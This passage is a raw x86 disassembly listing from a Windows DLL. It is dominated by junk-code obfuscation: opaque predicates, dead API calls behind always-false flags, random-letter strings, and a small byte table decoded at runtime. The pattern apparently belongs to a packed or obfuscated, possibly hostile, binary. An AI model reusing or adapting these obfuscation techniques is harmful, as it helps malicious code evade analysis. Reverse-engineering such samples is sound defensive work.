and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x408], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x408]
neg ecx
cmp ecx, dword [ebp + eax - 0x10c]
jg 0x10013971
mov dword [ebp - 0x688], 1
jmp 0x10013978
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x278]
cmp eax, dword [ebp - 0x410]
jne 0x1001399b
and dword [ebp - 0x2f0], 0
jmp 0x100139a5
mov dword [ebp - 0x2f0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp + eax - 0x10c], ecx
cmp dword [ebp - 0x2f0], 0
je 0x100139cd
mov dword [ebp - 0x5b8], 1
jmp 0x100139d4
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x5b8], eax
jge 0x100139ee
mov dword [ebp - 0x418], 1
jmp 0x100139f5
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x910], eax
jmp 0x100138b0
mov dword [ebp - 0xf4], 0
jmp 0x10013a1f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jg 0x10013a4a
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10013a48
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x10013a12
mov byte [ebp - 0x15c], 3
mov byte [ebp - 0x15b], 0x5e
mov byte [ebp - 0x15a], 2
mov byte [ebp - 0x159], 0x1c
mov byte [ebp - 0x158], 1
mov byte [ebp - 0x157], 0x17
mov byte [ebp - 0x156], 8
mov byte [ebp - 0x155], 0x4b
mov byte [ebp - 0x154], 9
mov byte [ebp - 0x153], 0x4a
mov byte [ebp - 0x152], 6
mov byte [ebp - 0x151], 0x57
mov byte [ebp - 0x150], 5
mov byte [ebp - 0x14f], 0x5f
mov byte [ebp - 0x14e], 4
mov byte [ebp - 0x14d], 9
mov byte [ebp - 0x14c], 0
mov byte [ebp - 0x14b], 0x2e
mov byte [ebp - 0x14a], 0xb
mov byte [ebp - 0x149], 0x27
mov byte [ebp - 0x148], 7
mov byte [ebp - 0x147], 0x5e
mov byte [ebp - 0x146], 0xa
mov byte [ebp - 0x145], 0x5e
mov dword [ebp - 0x54], 0xd925b0e4
mov dword [ebp - 0x7a0], 0xfffffff9
mov dword [ebp - 0x79c], 0xfffffff9
mov dword [ebp - 0x798], 0xfffffff9
mov dword [ebp - 0x794], 0xfffffff9
mov dword [ebp - 0x40], 0xe623b470
push 2
lea ecx, [ebp - 0x168]
call fcn.10001dc8
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x7ac], 0xba308d5b
mov dword [ebp - 0x1c0], 0
jmp 0x10013b5f
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 2
jge 0x10013b81
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov dword [eax], 0x7f4ea14c
jmp 0x10013b52
mov eax, 0xba07e4fc
test eax, eax
je 0x10013b9c
cmp dword [ebp - 0x54], 0
je 0x10013b9c
mov dword [ebp - 0x420], 1
jmp 0x10013ba3
and dword [ebp - 0x420], 0
cmp dword [ebp - 0x54], 0xe662
je 0x10013bbe
cmp dword [ebp - 0x54], 0
je 0x10013bbe
mov dword [ebp - 0x728], 1
jmp 0x10013bc5
and dword [ebp - 0x728], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x728]
mov dword [ebp + eax - 0x7a0], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7a0]
mov dword [ebp - 0xb8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a0]
imul eax, dword [ebp - 0x420]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffff8
jle 0x10013c13
mov dword [ebp - 0x5c0], 1
jmp 0x10013c1a
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x5c0]
jne 0x10013c31
mov dword [ebp - 0x428], 1
jmp 0x10013c38
and dword [ebp - 0x428], 0
push 0
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov ecx, dword [ebp - 0x428]
mov dword [eax], ecx
mov dword [ebp - 0x54], 1
jmp 0x10013c5d
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x10014109
mov dword [ebp - 0x94c], 1
mov dword [ebp - 0x40], 0
jmp 0x10013c81
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jg 0x100140a4
mov dword [ebp - 0xc0], 0xfffffff8
mov dword [ebp - 0x8bc], 0
mov dword [ebp - 0xc0], 3
jmp 0x10013cb8
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10014094
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x7d8], 0xebea
mov dword [ebp - 0x18], 0
jmp 0x10013ce6
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jg 0x1001408f
mov dword [ebp - 0x50], 0x42c78ef8
mov dword [ebp - 0x2c4], 0xffffffff
mov dword [ebp - 0x2f8], 8
mov dword [ebp - 0x50], 0
jmp 0x10013d1b
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x10013d31
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x7a0], 0xebbfad0d
jmp 0x10013d14
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov esi, dword [ebp - 0x18]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
cmp esi, dword [eax]
jle 0x10013d60
mov dword [ebp - 0x918], 1
jmp 0x10013d67
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xaa8], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jl 0x10013d87
mov dword [ebp - 0x920], 1
jmp 0x10013d8e
and dword [ebp - 0x920], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0xafc], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xab8], eax
cmp dword [ebp - 0x40], 0
je 0x10013dd6
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
cmp dword [eax], 0
je 0x10013dd6
mov dword [ebp - 0x690], 1
jmp 0x10013ddd
and dword [ebp - 0x690], 0
mov esi, dword [ebp - 0x18]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov ecx, dword [ebp - 0x690]
sub ecx, dword [eax]
cmp ecx, esi
jg 0x10013e06
mov dword [ebp - 0x318], 1
jmp 0x10013e0d
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0x7a0], ecx
push 0
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov eax, dword [eax]
add eax, dword [ebp - 0x318]
je 0x10013e44
xor eax, eax
je 0x10013e44
mov dword [ebp - 0x430], 1
jmp 0x10013e4b
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x430], eax
jle 0x10013e62
mov dword [ebp - 0x5c8], 1
jmp 0x10013e69
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x5c8]
dec eax
cmp eax, dword [ebp - 0xc0]
je 0x10013e84
mov dword [ebp - 0x438], 1
jmp 0x10013e8b
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x438], eax
jg 0x10013ea5
mov dword [ebp - 0x6f8], 1
jmp 0x10013eac
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x6f8]
sub eax, 0xfff7
cmp eax, dword [ebp - 0x2c4]
jg 0x10013ecb
mov dword [ebp - 0x440], 1
jmp 0x10013ed2
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0x3393
jl 0x10013eea
mov dword [ebp - 0x5d0], 1
jmp 0x10013ef1
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x5d0]
jle 0x10013f0e
cmp dword [ebp - 0xc0], 0
jne 0x10013f0e
and dword [ebp - 0x448], 0
jmp 0x10013f18
mov dword [ebp - 0x448], 1
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2f8], eax
mov esi, dword [ebp - 0x2f8]
push 1
lea ecx, [ebp - 0x168]
call fcn.10001e41
sub esi, dword [eax]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
cmp esi, dword [eax]
jne 0x10013f5d
mov dword [ebp - 0x91c], 1
jmp 0x10013f64
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x2f8]
lea eax, [ecx + eax - 0xfff8]
imul eax, dword [ebp - 0x2c4]
test eax, eax
jne 0x10013f94
mov eax, 0xdd1a
test eax, eax
jne 0x10013f94
and dword [ebp - 0x698], 0
jmp 0x10013f9e
mov dword [ebp - 0x698], 1
mov eax, dword [ebp - 0x7ac]
cmp dword [ebp - 0x698], eax
jle 0x10013fb8
mov dword [ebp - 0x450], 1
jmp 0x10013fbf
and dword [ebp - 0x450], 0
push 0
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov ecx, dword [ebp - 0x450]
add ecx, dword [eax]
cmp ecx, 0xfffffffb
jle 0x10013fe5
mov dword [ebp - 0x5d8], 1
jmp 0x10013fec
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
add eax, 0xf37e
cmp eax, 0x1bb39d90
jne 0x1001400a
mov dword [ebp - 0x458], 1
jmp 0x10014011
and dword [ebp - 0x458], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov ecx, dword [ebp - 0x458]
cmp ecx, dword [eax]
jg 0x10014035
mov dword [ebp - 0x738], 1
jmp 0x1001403c
and dword [ebp - 0x738], 0
cmp dword [ebp - 0x738], 0x2d46fede
jle 0x10014054
mov dword [ebp - 0x460], 1
jmp 0x1001405b
and dword [ebp - 0x460], 0
cmp dword [ebp - 0x460], 0x39d3
jl 0x10014073
mov dword [ebp - 0x5e0], 1
jmp 0x1001407a
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x7d8], eax
jmp 0x10013cdf
jmp 0x10013cab
cmp dword [ebp - 0x8bc], 0
je 0x1001409f
jmp 0x100140a4
jmp 0x10013c7a
mov dword [ebp - 0x40], 0
jmp 0x100140b4
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jg 0x10014104
mov byte [ebp - 0xa2], 0
movzx eax, byte [ebp - 0xa2]
test eax, eax
je 0x100140e0
push 0x1dcb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push dword [ebp - 0x54]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov esi, dword [eax]
neg esi
push dword [ebp - 0x40]
lea ecx, [ebp - 0x168]
call fcn.10001e41
mov dword [eax], esi
jmp 0x100140ad
jmp 0x10013c56
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168]
call fcn.10001e25
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x15c]
and eax, 0x30
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x15c]
or ecx, 0x30
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x15c]
mov word [ebp + eax*2 - 0xa84], cx
mov dword [ebp - 0x20], 0xb7bededb
mov dword [ebp - 0x104], 0xffffffff
push 1
lea ecx, [ebp - 0xac4]
call fcn.10001dc8
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x468], 0x3dee
mov dword [ebp - 0x7b4], str.mlzuivh_qay_zxubgk_uaodf_apnr_drigxrrqa_etvghtw_cmp_tdhojtv_lcxw_cuntkus_vepke
cmp dword [ebp - 0x468], 0x4103
jle 0x10014267
and dword [ebp - 0x1c8], 0
jmp 0x100141b1
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x54e1
jge 0x10014247
and dword [ebp - 0x280], 0
jmp 0x100141d7
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x3b6a
jge 0x10014242
and dword [ebp - 0x1d0], 0
jmp 0x100141f9
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x1a72
jge 0x10014240
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x280]
sar eax, cl
mov ecx, dword [ebp - 0x1d0]
shl eax, cl
cdq
mov dword [ebp - 0x7fc], eax
mov dword [ebp - 0x7f8], edx
push dword [ebp - 0x7f8]
push dword [ebp - 0x7fc]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x100141ec
jmp 0x100141ca
jmp 0x100141a4
push 0
push 0x1f71
push 0
push 0x23e7
push 0x257c
push 0
push 0x11f9
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [ebp - 0x2cc], 0
jmp 0x10014280
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 1
jge 0x100142a2
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xac4]
call fcn.10001e41
mov dword [eax], 8
jmp 0x10014273
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x468], 0x3b3d
jge 0x100142c2
mov edx, dword [ebp - 0x7b4]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x100142de
mov dword [ebp - 4], 0xd
jmp 0x100142ee
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xb00], eax
mov eax, dword [ebp - 0x20]
inc eax
cmp eax, dword [ebp - 0x20]
je 0x1001430c
mov dword [ebp - 0x6a0], 1
jmp 0x10014313
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x6a0], eax
jle 0x1001432a
mov dword [ebp - 0x470], 1
jmp 0x10014331
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0x20]
je 0x1001434c
mov dword [ebp - 0x5e8], 1
jmp 0x10014353
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x5e8], eax
jne 0x1001436a
mov dword [ebp - 0x934], 1
jmp 0x10014371
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xac8], eax
cmp dword [ebp - 0x20], 0xfffd
jb 0x10014392
mov dword [ebp - 0x7bc], 1
jmp 0x10014399
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x20], 7
jne 0x100143ab
mov dword [ebp - 0x478], 1
jmp 0x100143b2
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x478], eax
jne 0x100143c1
cmp dword [ebp - 0x20], 0
push 6
pop eax
cmp eax, 0x1c1d99ea
ja 0x100143d7
mov dword [ebp - 0x700], 1
jmp 0x100143de
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
jmp 0x100143f7
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x100145ce
mov dword [ebp - 0x104], 0
jmp 0x1001441a
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jg 0x100145c9
mov dword [ebp - 0x1e8], 0x9b95520f
mov dword [ebp - 0x480], 0x33f2
mov dword [ebp - 0x8c4], str.fpt_tjocvk_mzgokwh_coyvh_zphz_htbcpm_neqpul_cemna_rmqnph_bshvzafau_bcgyiz_frrwi_wmrvihh
cmp dword [ebp - 0x480], 0x34b7
jle 0x10014530
and dword [ebp - 0x2c8], 0
jmp 0x1001446b
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x4644
jge 0x10014530
and dword [ebp - 0x1e0], 0
jmp 0x10014491
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x4c8d
jge 0x1001452b
and dword [ebp - 0x1d8], 0
jmp 0x100144b7
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x917
jge 0x10014526
and dword [ebp - 0x2d4], 0
jmp 0x100144d9
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x3179
jge 0x10014524
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x1e0]
sar eax, cl
xor eax, dword [ebp - 0x2c8]
cdq
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], edx
push dword [ebp - 0x804]
push dword [ebp - 0x808]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x100144cc
jmp 0x100144aa
jmp 0x10014484
jmp 0x1001445e
mov dword [ebp - 0x1e8], 0
jmp 0x10014549
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jg 0x10014578
mov byte [ebp - 0xdf], 0
movzx eax, byte [ebp - 0xdf]
test eax, eax
je 0x10014576
push 1
push 0x1fa4
push 0x2114
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x1001453c
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x480], 0x3206
jge 0x10014598
mov edx, dword [ebp - 0x8c4]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x100145b4
mov dword [ebp - 4], 0xd
jmp 0x100145c4
jmp 0x1001440d
jmp 0x100143f0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac4]
call fcn.10001e25
mov dword [ebp - 0x98], 2
and dword [ebp - 0x5f0], 0
jmp 0x100145fe
mov eax, dword [ebp - 0x98]
inc eax
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x18
jae 0x1001467c
mov eax, dword [ebp - 0x98]
sub eax, dword [ebp - 0x5f0]
movzx eax, byte [ebp + eax - 0x15e]
movzx eax, word [ebp + eax*2 - 0xa84]
mov ecx, dword [ebp - 0x98]
movzx ecx, byte [ebp + ecx - 0x15b]
and ecx, eax
mov eax, dword [ebp - 0x98]
sub eax, dword [ebp - 0x5f0]
movzx eax, byte [ebp + eax - 0x15e]
movzx eax, word [ebp + eax*2 - 0xa84]
mov edx, dword [ebp - 0x98]
movzx edx, byte [ebp + edx - 0x15b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x98]
movzx eax, byte [ebp + eax - 0x15c]
mov word [ebp + eax*2 - 0xa84], dx
jmp 0x100145f0
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xa84], cx
mov dword [ebp - 0x58], 5
mov dword [ebp - 0x118], 0xc70c3099
mov dword [ebp - 0x7c4], 0xbc657e3b
mov dword [ebp - 0x118], 0xf949
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x118]
jg 0x100146db
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x100146d6
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
jmp 0x10014764
mov dword [ebp - 0x290], 0
jmp 0x100146f4
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 2
jge 0x10014710
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0xb14], 0xffffffff
jmp 0x100146e7
mov dword [ebp - 0x58], 0xfffffff1
jmp 0x10014720
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x2a
jne 0x10014764
mov eax, dword [ebp - 0x58]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb14], eax
mov byte [ebp - 0xdc], 0
movzx eax, byte [ebp - 0xdc]
test eax, eax
je 0x10014762
push 0x19d0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x10014719
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
jg 0x10014778
mov dword [ebp - 0x488], 1
jmp 0x1001477f
and dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0x921e124d
ja 0x10014797
mov dword [ebp - 0x6a8], 1
jmp 0x1001479e
and dword [ebp - 0x6a8], 0
cmp dword [ebp - 0x6a8], 0xfff9
ja 0x100147b6
mov dword [ebp - 0x490], 1
jmp 0x100147bd
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0x490]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x118]
jne 0x100147eb
mov dword [ebp - 0x5f8], 1
jmp 0x100147f2
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x7c4], eax
lea eax, [ebp - 0xa84]
push eax
lea ecx, [ebp - 0xcb8]
call fcn.10007030
mov dword [ebp - 0x90c], eax
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x7cc], eax
mov dword [ebp - 4], 0x12
push dword [ebp - 0x7cc]
call fcn.1000aacb
pop ecx
mov dword [ebp - 0x5bc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb8]
call fcn.10007055
push 3
lea ecx, [ebp - 0x34c]
call fcn.10001dc8
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x4a8], 0xffffffff
push 4
lea ecx, [ebp - 0x748]
call fcn.10001dc8
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x71c], 0xfffffffe
mov dword [ebp - 0x4a0], 0x451f1e28
mov dword [ebp - 0x340], 0xc31e13ca
mov dword [ebp - 0x600], 1
mov dword [ebp - 0x954], 0x2b4cf22a
mov dword [ebp - 0x64], 0
jmp 0x100148bb
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x100148d7
push dword [ebp - 0x64]
lea ecx, [ebp - 0x34c]
call fcn.10001e41
mov dword [eax], 0xfffffff8
jmp 0x100148b4
mov dword [ebp - 0x64], 0
jmp 0x100148e7
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x10014900
push dword [ebp - 0x64]
lea ecx, [ebp - 0x748]
call fcn.10001e41
or dword [eax], 0xffffffff
jmp 0x100148e0
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x1001491c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [ebp - 0x4c0], 0x3d8d
mov dword [ebp - 0x7dc], str.snyjbe_pmw_kbgxlkv_ewo_qsxjyg_eljxvdgtf_wod_iccj_pgxn
cmp dword [ebp - 0x4c0], 0x4040
jle 0x10014a17
and dword [ebp - 0x1f0], 0
jmp 0x10014956
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x589b
jge 0x10014a17
and dword [ebp - 0x2b8], 0
jmp 0x1001497c
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x391f
jge 0x10014a12
and dword [ebp - 0x1f8], 0
jmp 0x100149a2
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x1bcc
jge 0x10014a0d
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x2b8]
shl eax, cl
or eax, dword [ebp - 0x1f8]
cdq
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x810], edx
push dword [ebp - 0x810]
push dword [ebp - 0x814]
lea ecx, [ebp - 0xd24]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x8cc], eax
mov ecx, dword [ebp - 0x8cc]
call fcn.10001c93
push eax
call fcn.100490c6
pop ecx
lea ecx, [ebp - 0xd24]
call fcn.10001c89
jmp 0x10014995
jmp 0x1001496f
jmp 0x10014949
push 0
lea ecx, [ebp - 0x34c]
call fcn.10001e41
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001e41
mov esi, eax
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001e41
mov eax, dword [eax]
imul eax, dword [esi]
mov dword [ebp - 0x4a8], eax
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001e41
mov esi, eax
push 2
lea ecx, [ebp - 0x748]
call fcn.10001e41
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x10014a79
mov dword [ebp - 0x498], 1
jmp 0x10014a80
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x71c], eax
mov esi, dword [ebp - 0x71c]
push 3
lea ecx, [ebp - 0x748]
call fcn.10001e41
add esi, dword [eax]
mov dword [ebp - 0x4a0], esi
mov esi, dword [ebp - 0x4a0]
push 0
lea ecx, [ebp - 0x34c]
call fcn.10001e41
cmp dword [eax], esi
je 0x10014aca
mov dword [ebp - 0x7d4], 1
jmp 0x10014ad1
and dword [ebp - 0x7d4], 0
mov dword [ebp - 0x340], 0x196e
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0xc39c
jne 0x10014afa
cmp dword [ebp - 0x4a8], 0
mov esi, dword [ebp - 0x340]
push 3
lea ecx, [ebp - 0x748]
call fcn.10001e41
cmp esi, dword [eax]
je 0x10014b1d
mov dword [ebp - 0x6b0], 1
jmp 0x10014b24
and dword [ebp - 0x6b0], 0
mov esi, dword [ebp - 0x6b0]
add esi, 0x23e4
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001e41
cmp dword [eax], esi
je 0x10014b4d
mov dword [ebp - 0x4b0], 1
jmp 0x10014b54
and dword [ebp - 0x4b0], 0
push 2
lea ecx, [ebp - 0x34c]
call fcn.10001e41
mov ecx, dword [ebp - 0x4b0]
cmp ecx, dword [eax]
je 0x10014b77
mov dword [ebp - 0x608], 1
jmp 0x10014b7e
and dword [ebp - 0x608], 0
push 1
lea ecx, [ebp - 0x748]
call fcn.10001e41
mov ecx, dword [ebp - 0x608]
cmp ecx, dword [eax]
jle 0x10014ba1
mov dword [ebp - 0x4b8], 1
jmp 0x10014ba8
and dword [ebp - 0x4b8], 0
mov esi, dword [ebp - 0x4b8]
sub esi, 0x451d
push 2
lea ecx, [ebp - 0x748]
call fcn.10001e41
cmp esi, dword [eax]
je 0x10014bd1
mov dword [ebp - 0x708], 1
jmp 0x10014bd8
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x954], eax
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x4c0], 0x3b6e
jge 0x10014c00
push dword [ebp - 0x7dc]
call fcn.100490c6
pop ecx
jmp 0x10014c1c
mov dword [ebp - 4], 0x14
jmp 0x10014c2c
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x748]
call fcn.10001e25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34c]
call fcn.10001e25
and dword [ebp - 0x2a0], 0
jmp 0x10014c60
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0xd
jae 0x10014d6c
mov dword [ebp - 0x200], 0xfffffff9
mov dword [ebp - 0x298], 0
jmp 0x10014c90
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 3
jge 0x10014cac
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0xcf4], 0x3dd3
jmp 0x10014c83
mov dword [ebp - 0x200], 2
jmp 0x10014cc5
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jl 0x10014d57
mov dword [ebp - 0x2d8], 0x88adae8c
mov dword [ebp - 0x2d8], 2
jmp 0x10014cf5
mov eax, dword [ebp - 0x2d8]
dec eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jl 0x10014d52
mov dword [ebp - 0x208], 0xefa20bd0
mov dword [ebp - 0x208], 0
jmp 0x10014d21
